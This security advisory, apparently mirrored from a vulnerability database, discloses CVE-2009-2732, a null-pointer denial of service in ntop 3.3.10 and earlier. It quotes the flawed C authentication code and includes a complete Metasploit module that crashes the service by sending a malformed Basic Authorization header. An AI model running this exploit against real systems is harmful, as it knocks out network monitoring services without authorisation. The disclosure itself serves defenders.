Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22339
HistoryAug 18, 2009 - 12:00 a.m.

ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service

2009-08-1800:00:00
vulners.com
20

Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service

Vendor: ntop

Vendor URL: www.ntop.org

Vendor Response: None

Description:

A denial of service condition can be reached by specifying an invalid value for the Authorization
HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
a colon. When no colon exists in the decoded string the username is left at its default NULL value.
During the authentication process the length of the username is computed via strlen(), which results
in a segmentation fault when it processes the null value.

Code:

static int checkHTTPpassword(char theRequestedURL,
int theRequestedURLLen UNUSED,
char
thePw, int thePwLen) {
char outBuffer[65], tmpOutBuffer[65], *user = NULL, users[LEN_GENERAL_WORK_BUFFER];

.
.
.
if(outBuffer[i] == ':') {
outBuffer[i] = '\0';
user = outBuffer;
break;
}
.
.
.
if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
.
.
.

Affected Operating Systems:
Only tested on Linux

Affected Versions:
ntop <= 3.3.10

CVE: CVE-2009-2732

Credit:

Brad Antoniewicz

[email protected]

code:

START modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Dos
    
    def initialize&#40;info = {}&#41;
            super&#40;update_info&#40;info, 
                    &#39;Name&#39;           =&gt; &#39;NTOP &lt;= 3.3.10 Basic Authorization DoS&#39;,
                    &#39;Description&#39;    =&gt; &#37;q{
                            A denial of service condition can be reached by specifying an invalid value for the Authorization 
                            HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
                            a colon. When no colon exists in the decoded string the username is left at its default NULL value. 
                            During the authentication process the length of the username is computed via strlen&#40;&#41;, which results
                            in a segmentation fault when it processes the null value. 
                    },
                    &#39;Author&#39;         =&gt; &#39;Brad Antoniewicz &lt;[email protected]&gt;&#39;,
                    &#39;License&#39;        =&gt; MSF_LICENSE,
                    &#39;Version&#39;        =&gt; &#39;1&#39;,
                    &#39;References&#39;     =&gt; [
                            [ &#39;BID&#39;, &#39;None&#39;],
                            [ &#39;CVE&#39;, &#39;CVE-2009-2732&#39;]
                            
                    ],
                    &#39;DisclosureDate&#39; =&gt; &#39;Aug 08 2009&#39;&#41;&#41;
                    register_options&#40; [Opt::RPORT&#40;3000&#41;,], self.class &#41;

    end

    def run
            begin
                    o = {
                            &#39;uri&#39; =&gt; &#39;/configNtop.html&#39;,
                            &#39;headers&#39; =&gt; {
                                    &#39;Authorization&#39; =&gt; &#39;Basic A==&#39;
                            }
                    }

                    c = connect&#40;o&#41;
                    c.send_request&#40;c.request_raw&#40;o&#41;&#41;

                    print_status&#40;&quot;Request sent to #{rhost}:#{rport}&quot;&#41;
            rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                    print_status&#40;&quot;Couldn&#39;t connect to #{rhost}:#{rport}&quot;&#41;
            rescue ::Timeout::Error, ::Errno::EPIPE                 
            end
    end

end

END modules/auxiliary/dos/http/ntop_basic.rb ---------------------------------------